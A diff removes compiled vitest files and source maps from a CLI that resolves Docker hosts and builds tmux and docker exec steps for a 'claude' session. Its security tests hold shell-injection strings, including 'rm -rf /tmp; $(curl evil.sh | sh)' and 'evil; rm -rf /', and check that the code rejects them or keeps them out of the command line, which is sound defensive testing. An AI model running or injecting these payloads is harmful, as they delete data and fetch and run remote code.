- expect(opts).toEqual({ socketPath: '/var/run/docker.sock' });
87
- });
88
- it('falls back to /var/run/docker.sock when docker CLI is missing (spawn throws)', () => {
89
- const opts = resolveDockerHostOptions(makeFailingSpawn());
90
- expect(opts).toEqual({ socketPath: '/var/run/docker.sock' });
91
- });
92
- it('falls back to /var/run/docker.sock when context returns empty string', () => {
93
- const opts = resolveDockerHostOptions(makeSpawn('\n'));
94
- expect(opts).toEqual({ socketPath: '/var/run/docker.sock' });
95
- });
96
- it('DOCKER_HOST takes precedence over docker context inspect', () => {
97
- process.env.DOCKER_HOST = 'unix:///custom/path.sock';
98
- // Even though spawn would have returned a different path, env wins.
99
- const spy = vi.fn(() => ({
100
- stdout: 'unix:///wrong/path.sock\n',
101
- stderr: '',
102
- status: 0,
103
- }));
104
- const opts = resolveDockerHostOptions(spy);
105
- expect(opts).toEqual({});
106
- expect(spy).not.toHaveBeenCalled();
107
- });
108
- });
109
- //# sourceMappingURL=docker-host.test.js.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"docker-host.test.js","sourceRoot":"","sources":["../../src/__tests__/docker-host.test.ts"],"names":[],"mappings":"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"}
@@ -1,2 +0,0 @@
1
- export {};
2
- //# sourceMappingURL=enter.test.d.ts.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"enter.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/enter.test.ts"],"names":[],"mappings":""}
@@ -1,90 +0,0 @@
1
- import { describe, expect, it } from 'vitest';
2
- import { buildStartClaudeCommands } from '../commands/enter.js';
3
- describe('buildStartClaudeCommands (Phase C/C4)', () => {
4
- it('without --task, returns: open + ensure-window + attach (3 steps)', () => {
5
- const steps = buildStartClaudeCommands('container-x', 'olam-w1', undefined);
6
- expect(steps.length).toBe(3);
7
- expect(steps[0].command).toContain('tmux new-session -A -d -s olam-w1');
8
- expect(steps[0].command).toContain("-n claude 'claude'");
9
- // Step 1b: idempotent claude-window ensure (CP3 ADV-C4-002 closure).
10
- expect(steps[1].command).toContain('tmux new-window -t olam-w1 -n claude');
11
- expect(steps[1].command).toContain('|| true');
12
- expect(steps[2].command).toContain('tmux attach -t olam-w1');
13
- expect(steps.every((s) => s.stdin === undefined)).toBe(true);
14
- });
15
- it('with empty --task, treats as no-task (still 3 steps, no paste)', () => {
16
- const steps = buildStartClaudeCommands('container-x', 'olam-w1', '');
17
- expect(steps.length).toBe(3);
18
- expect(steps.every((s) => s.stdin === undefined)).toBe(true);
19
- expect(steps.every((s) => !s.command.includes('paste-buffer'))).toBe(true);
20
- });
21
- it('with --task, returns: open + ensure-window + load-buffer (stdin) + paste-buffer + attach (5 steps)', () => {
22
- const steps = buildStartClaudeCommands('container-x', 'olam-w1', 'fix the bug');
23
- expect(steps.length).toBe(5);
24
- expect(steps[0].command).toContain('tmux new-session -A');
25
- expect(steps[0].stdin).toBeUndefined();
26
- expect(steps[1].command).toContain('tmux new-window -t olam-w1 -n claude');
27
- expect(steps[2].command).toContain('tmux load-buffer -');
28
- expect(steps[2].command).toContain('docker exec -i container-x');
29
- expect(steps[2].stdin).toBe('fix the bug');
30
- expect(steps[3].command).toContain('tmux paste-buffer -t olam-w1:claude');
31
- expect(steps[3].stdin).toBeUndefined();
32
- expect(steps[4].command).toContain('tmux attach -t olam-w1');
33
- });
34
- it('rejects task containing NUL byte (CP3 ADV-C4-001 — paste-buffer truncation)', () => {
35
- expect(() => buildStartClaudeCommands('container-x', 'olam-w1', 'before\0after')).toThrow(/NUL byte/);
36
- });
37
- it('SECURITY (T17): task with shell metacharacters rides via stdin, NEVER appears in any command argv', () => {
38
- const evil = 'Fix bug; rm -rf /tmp; $(curl evil.sh | sh) `whoami`';
39
- const steps = buildStartClaudeCommands('container-x', 'olam-w1', evil);
40
- // The dangerous text MUST appear EXACTLY ONCE — in the stdin of the
41
- // load-buffer step.
42
- const loadBuf = steps.find((s) => s.command.includes('tmux load-buffer'));
43
- expect(loadBuf).toBeDefined();
44
- expect(loadBuf.stdin).toBe(evil);
45
- // Every other step's command (and ALL command strings) MUST NOT contain
46
- // any of the dangerous substrings — that would mean the task was
47
- // interpolated into argv somewhere.
48
- const dangerousFragments = [
49
- 'rm -rf /tmp',
50
- 'curl evil.sh',
51
- '`whoami`',
52
- '$(curl',
53
- ];
54
- for (const step of steps) {
55
- for (const frag of dangerousFragments) {
56
- expect(step.command).not.toContain(frag);
57
- }
58
- }
59
- });
60
- it('SECURITY: newline in task survives literally (no premature submission)', () => {
61
- const multiline = 'first line\nsecond line';
62
- const steps = buildStartClaudeCommands('container-x', 'olam-w1', multiline);
63
- const loadBuf = steps.find((s) => s.command.includes('tmux load-buffer'));
64
- expect(loadBuf.stdin).toBe(multiline);
65
- // Literal newline preserved through stdin → load-buffer.
66
- expect(loadBuf.stdin).toContain('\n');
67
- });
68
- it('rejects containerName with shell metacharacters (defensive guard)', () => {
69
- expect(() => buildStartClaudeCommands('evil; rm -rf /', 'olam-w1', undefined)).toThrow(/containerName.*defensive guard/);
70
- });
71
- it('rejects sessionName with shell metacharacters (defensive guard)', () => {
72
- expect(() => buildStartClaudeCommands('container-x', 'evil; rm /', undefined)).toThrow(/sessionName.*defensive guard/);
73
- });
74
- it('rejects empty containerName', () => {
75
- expect(() => buildStartClaudeCommands('', 'olam-w1', undefined)).toThrow(/containerName.*defensive guard/);
76
- });
77
- it('handles long task text (>4KB) — paste buffer is byte-based, not arg-len-bounded', () => {
78
- const long = 'A'.repeat(8192);
79
- const steps = buildStartClaudeCommands('container-x', 'olam-w1', long);
80
- const loadBuf = steps.find((s) => s.command.includes('tmux load-buffer'));
81
- expect(loadBuf.stdin).toBe(long);
82
- expect(loadBuf.stdin.length).toBe(8192);
83
- });
84
- it('command target uses session:window form for paste-buffer (avoids accidental window selection)', () => {
85
- const steps = buildStartClaudeCommands('container-x', 'olam-w1', 'hello');
86
- const paste = steps.find((s) => s.command.includes('tmux paste-buffer'));
87
- expect(paste.command).toContain('-t olam-w1:claude');
88
- });
89
- });
90
- //# sourceMappingURL=enter.test.js.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"enter.test.js","sourceRoot":"","sources":["../../src/__tests__/enter.test.ts"],"names":[],"mappings":"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"}
@@ -1,2 +0,0 @@
1
- export {};
2
- //# sourceMappingURL=help-output.test.d.ts.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"help-output.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/help-output.test.ts"],"names":[],"mappings":""}